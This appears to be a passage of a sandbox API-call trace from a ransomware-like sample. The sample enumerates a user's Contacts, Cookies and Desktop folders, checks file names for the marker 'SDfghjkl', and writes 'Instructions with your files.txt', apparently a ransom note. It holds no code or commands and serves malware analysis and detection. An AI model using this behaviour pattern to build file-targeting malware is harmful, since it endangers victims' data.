[0131.560] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\..") returned 45
[0131.560] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.560] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1
[0131.560] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned 66
[0131.560] StrStrIW (lpFirst="Aclviho ASldjfl.contact", lpSrch="SDfghjkl") returned 0x0
[0131.560] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1
[0131.560] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned 64
[0131.560] StrStrIW (lpFirst="Administrator.contact", lpSrch="SDfghjkl") returned 0x0
[0131.560] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1
[0131.560] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned 64
[0131.560] StrStrIW (lpFirst="asdlfk poopvy.contact", lpSrch="SDfghjkl") returned 0x0
[0131.560] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1
[0131.560] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned 63
[0131.561] StrStrIW (lpFirst="chucu jadnvk.contact", lpSrch="SDfghjkl") returned 0x0
[0131.561] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.561] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned 54
[0131.561] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.561] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1
[0131.561] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned 64
[0131.561] StrStrIW (lpFirst="lulcit amkdfe.contact", lpSrch="SDfghjkl") returned 0x0
[0131.561] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1
[0131.561] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned 64
[0131.561] StrStrIW (lpFirst="sikvnb huvuib.contact", lpSrch="SDfghjkl") returned 0x0
[0131.561] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0
[0131.561] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Instructions with your files.txt") returned 75
[0131.561] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.561] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.562] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.562] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.562] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.562] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.562] CloseHandle (hObject=0x10c) returned 1
[0131.562] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.562] GetProcessHeap () returned 0x810000
[0131.562] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.563] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
[0131.563] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned 41
[0131.563] GetProcessHeap () returned 0x810000
[0131.563] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.563] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*") returned 43
[0131.563] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="Ȭ癙미\x88翿")) returned 0xffffffff
[0131.563] GetProcessHeap () returned 0x810000
[0131.563] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.563] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x745248e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x745248e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
[0131.563] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 41
[0131.563] GetProcessHeap () returned 0x810000
[0131.563] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.563] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*") returned 43
[0131.563] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x745248e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x745248e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.563] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 43
[0131.563] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.563] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x745248e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x745248e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.563] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\..") returned 44
[0131.563] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.563] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6ca470, ftCreationTime.dwHighDateTime=0x1d5c471, ftLastAccessTime.dwLowDateTime=0x9353cf90, ftLastAccessTime.dwHighDateTime=0x1d5c4d1, ftLastWriteTime.dwLowDateTime=0x9353cf90, ftLastWriteTime.dwHighDateTime=0x1d5c4d1, nFileSizeHigh=0x0, nFileSizeLow=0x168ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="0MiR-yvFdVlOtxu.m4a", cAlternateFileName="0MIR-Y~1.M4A")) returned 1
[0131.563] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0MiR-yvFdVlOtxu.m4a") returned 61
[0131.563] StrStrIW (lpFirst="0MiR-yvFdVlOtxu.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.563] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc18ddc20, ftCreationTime.dwHighDateTime=0x1d5bf31, ftLastAccessTime.dwLowDateTime=0x304f4e90, ftLastAccessTime.dwHighDateTime=0x1d5c55a, ftLastWriteTime.dwLowDateTime=0x304f4e90, ftLastWriteTime.dwHighDateTime=0x1d5c55a, nFileSizeHigh=0x0, nFileSizeLow=0x82a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="5I7CH 1.mp3", cAlternateFileName="5I7CH1~1.MP3")) returned 1
[0131.563] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5I7CH 1.mp3") returned 53
[0131.563] StrStrIW (lpFirst="5I7CH 1.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.563] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebcff920, ftCreationTime.dwHighDateTime=0x1d5bc87, ftLastAccessTime.dwLowDateTime=0xcf56890, ftLastAccessTime.dwHighDateTime=0x1d5be92, ftLastWriteTime.dwLowDateTime=0xcf56890, ftLastWriteTime.dwHighDateTime=0x1d5be92, nFileSizeHigh=0x0, nFileSizeLow=0x6124, dwReserved0=0x0, dwReserved1=0x0, cFileName="alUY9lDsv60p5z.mp3", cAlternateFileName="ALUY9L~1.MP3")) returned 1
[0131.563] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\alUY9lDsv60p5z.mp3") returned 60
[0131.563] StrStrIW (lpFirst="alUY9lDsv60p5z.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.565] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa67406e0, ftCreationTime.dwHighDateTime=0x1d5bd9b, ftLastAccessTime.dwLowDateTime=0x68ebb570, ftLastAccessTime.dwHighDateTime=0x1d5bfa3, ftLastWriteTime.dwLowDateTime=0x68ebb570, ftLastWriteTime.dwHighDateTime=0x1d5bfa3, nFileSizeHigh=0x0, nFileSizeLow=0xf4d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="A_8wH.ods", cAlternateFileName="")) returned 1
[0131.565] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A_8wH.ods") returned 51
[0131.565] StrStrIW (lpFirst="A_8wH.ods", lpSrch="SDfghjkl") returned 0x0
[0131.565] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb4e050, ftCreationTime.dwHighDateTime=0x1d5c099, ftLastAccessTime.dwLowDateTime=0xfa1d4900, ftLastAccessTime.dwHighDateTime=0x1d5ba9e, ftLastWriteTime.dwLowDateTime=0xfa1d4900, ftLastWriteTime.dwHighDateTime=0x1d5ba9e, nFileSizeHigh=0x0, nFileSizeLow=0x4503, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrPw9cqHUuRQ2.pdf", cAlternateFileName="BRPW9C~1.PDF")) returned 1
[0131.565] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BrPw9cqHUuRQ2.pdf") returned 59
[0131.565] StrStrIW (lpFirst="BrPw9cqHUuRQ2.pdf", lpSrch="SDfghjkl") returned 0x0
[0131.565] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfb77b0, ftCreationTime.dwHighDateTime=0x1d5bacb, ftLastAccessTime.dwLowDateTime=0xa0773010, ftLastAccessTime.dwHighDateTime=0x1d5bc32, ftLastWriteTime.dwLowDateTime=0xa0773010, ftLastWriteTime.dwHighDateTime=0x1d5bc32, nFileSizeHigh=0x0, nFileSizeLow=0x7ce6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ce-pD5_8jb.mkv", cAlternateFileName="CE-PD5~1.MKV")) returned 1
[0131.565] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ce-pD5_8jb.mkv") returned 56
[0131.565] StrStrIW (lpFirst="ce-pD5_8jb.mkv", lpSrch="SDfghjkl") returned 0x0
[0131.565] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.565] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned 53
[0131.565] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.565] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63707410, ftCreationTime.dwHighDateTime=0x1d5c303, ftLastAccessTime.dwLowDateTime=0x86eb0540, ftLastAccessTime.dwHighDateTime=0x1d5b863, ftLastWriteTime.dwLowDateTime=0x86eb0540, ftLastWriteTime.dwHighDateTime=0x1d5b863, nFileSizeHigh=0x0, nFileSizeLow=0x762b, dwReserved0=0x0, dwReserved1=0x0, cFileName="E5AmGbTm.jpg", cAlternateFileName="")) returned 1
[0131.565] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E5AmGbTm.jpg") returned 54
[0131.565] StrStrIW (lpFirst="E5AmGbTm.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.565] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc66fe4c0, ftCreationTime.dwHighDateTime=0x1d5c5d7, ftLastAccessTime.dwLowDateTime=0x3cf77a90, ftLastAccessTime.dwHighDateTime=0x1d5b958, ftLastWriteTime.dwLowDateTime=0x3cf77a90, ftLastWriteTime.dwHighDateTime=0x1d5b958, nFileSizeHigh=0x0, nFileSizeLow=0x7022, dwReserved0=0x0, dwReserved1=0x0, cFileName="j0Uz2.swf", cAlternateFileName="")) returned 1
[0131.565] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j0Uz2.swf") returned 51
[0131.565] StrStrIW (lpFirst="j0Uz2.swf", lpSrch="SDfghjkl") returned 0x0
[0131.565] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7249e8c0, ftCreationTime.dwHighDateTime=0x1d5c4c7, ftLastAccessTime.dwLowDateTime=0x30e88720, ftLastAccessTime.dwHighDateTime=0x1d5c011, ftLastWriteTime.dwLowDateTime=0x30e88720, ftLastWriteTime.dwHighDateTime=0x1d5c011, nFileSizeHigh=0x0, nFileSizeLow=0x18f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="JptUQtlwj3lH.swf", cAlternateFileName="JPTUQT~1.SWF")) returned 1
[0131.565] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JptUQtlwj3lH.swf") returned 58
[0131.565] StrStrIW (lpFirst="JptUQtlwj3lH.swf", lpSrch="SDfghjkl") returned 0x0
[0131.565] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45d09980, ftCreationTime.dwHighDateTime=0x1d5b5e3, ftLastAccessTime.dwLowDateTime=0x71931040, ftLastAccessTime.dwHighDateTime=0x1d5c595, ftLastWriteTime.dwLowDateTime=0x71931040, ftLastWriteTime.dwHighDateTime=0x1d5c595, nFileSizeHigh=0x0, nFileSizeLow=0x113a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ko8-90VO36NLA.bmp", cAlternateFileName="KO8-90~1.BMP")) returned 1
[0131.565] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ko8-90VO36NLA.bmp") returned 59
[0131.565] StrStrIW (lpFirst="Ko8-90VO36NLA.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.565] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49549f90, ftCreationTime.dwHighDateTime=0x1d5be88, ftLastAccessTime.dwLowDateTime=0x772a0e80, ftLastAccessTime.dwHighDateTime=0x1d5bee9, ftLastWriteTime.dwLowDateTime=0x772a0e80, ftLastWriteTime.dwHighDateTime=0x1d5bee9, nFileSizeHigh=0x0, nFileSizeLow=0x18f82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LZ i-nP.docx", cAlternateFileName="LZI-NP~1.DOC")) returned 1
[0131.565] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LZ i-nP.docx") returned 54
[0131.565] StrStrIW (lpFirst="LZ i-nP.docx", lpSrch="SDfghjkl") returned 0x0
[0131.565] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce8fe60, ftCreationTime.dwHighDateTime=0x1d5c017, ftLastAccessTime.dwLowDateTime=0xcc2055d0, ftLastAccessTime.dwHighDateTime=0x1d5bd67, ftLastWriteTime.dwLowDateTime=0xcc2055d0, ftLastWriteTime.dwHighDateTime=0x1d5bd67, nFileSizeHigh=0x0, nFileSizeLow=0x123e, dwReserved0=0x0, dwReserved1=0x0, cFileName="l_XXzi.png", cAlternateFileName="")) returned 1
[0131.565] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l_XXzi.png") returned 52
[0131.565] StrStrIW (lpFirst="l_XXzi.png", lpSrch="SDfghjkl") returned 0x0
[0131.566] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1969b70, ftCreationTime.dwHighDateTime=0x1d5c423, ftLastAccessTime.dwLowDateTime=0x7fb1f590, ftLastAccessTime.dwHighDateTime=0x1d5c119, ftLastWriteTime.dwLowDateTime=0x7fb1f590, ftLastWriteTime.dwHighDateTime=0x1d5c119, nFileSizeHigh=0x0, nFileSizeLow=0x402e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MYP5re1ttF.mp3", cAlternateFileName="MYP5RE~1.MP3")) returned 1
[0131.566] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MYP5re1ttF.mp3") returned 56
[0131.566] StrStrIW (lpFirst="MYP5re1ttF.mp3", lpSrch="SDfghjkl") returned 0x0
